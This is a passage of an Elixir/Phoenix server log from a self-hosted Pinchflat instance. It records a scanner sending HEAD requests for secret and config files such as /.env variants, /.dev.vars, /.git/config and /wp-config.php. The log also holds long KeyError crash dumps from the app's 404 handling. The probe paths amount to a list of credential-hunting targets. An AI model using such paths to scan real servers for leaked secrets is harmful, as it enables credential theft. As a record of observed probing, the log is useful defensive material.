~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40226}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40226}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3706.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0 (truncated) 02:50:29.343 [error] #PID<0.3707.0> running PinchflatWeb.Endpoint (connection #PID<0.3704.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.dev.vars ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3704.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dev.vars", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40242}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3707.0>, params: %{}, path_info: [".dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.dev.vars", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHDAWXLh1kLIAAV7B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3704.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dev.vars", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40242}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3704.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dev.vars", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40242}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3707.0>, params: %{}, path_info: [".dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,app (truncated) 02:50:29.363 [info] HEAD /.git/config 02:50:29.363 [info] HEAD /.git/HEAD 02:50:29.364 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=40.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.364 [debug] QUERY OK source="settings" db=0.3ms idle=21.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.364 [debug] QUERY OK source="settings" db=0.4ms idle=22.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.364 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:29.364 [debug] QUERY OK source="settings" db=0.4ms idle=22.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.364 [info] HEAD /wp-config.php.bak 02:50:29.365 [info] HEAD /.env.save 02:50:29.364 [info] HEAD /.env 02:50:29.365 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:29.366 [info] HEAD /config.json 02:50:29.367 [debug] QUERY OK source="settings" db=0.9ms queue=0.4ms idle=23.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.367 [debug] QUERY OK source="settings" db=0.8ms queue=0.3ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.367 [debug] QUERY OK source="settings" db=0.9ms queue=0.4ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.368 [debug] QUERY OK source="settings" db=0.6ms queue=0.2ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.368 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.368 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:29.368 [info] HEAD /.env.sample 02:50:29.368 [debug] QUERY OK source="settings" db=0.7ms queue=0.3ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.369 [debug] QUERY OK source="settings" db=0.8ms queue=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.369 [debug] QUERY OK source="settings" db=0.9ms queue=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.370 [info] HEAD /wp-config.php 02:50:29.365 [error] #PID<0.3708.0> running PinchflatWeb.Endpoint (connection #PID<0.3704.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3704.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40242}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3708.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHDFhBeKpm4sAAV8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3704.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40242}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3704.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40242}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3708.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, (truncated) 02:50:29.371 [info] HEAD /.env.dist 02:50:29.370 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:29.370 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:29.371 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:29.371 [debug] QUERY OK source="settings" db=0.8ms queue=0.6ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.366 [error] #PID<0.3709.0> running PinchflatWeb.Endpoint (connection #PID<0.3702.0>, stream id 3) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.git/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40226}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3709.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHDFmEfP0xpYAAV9B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40226}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40226}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3709.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in 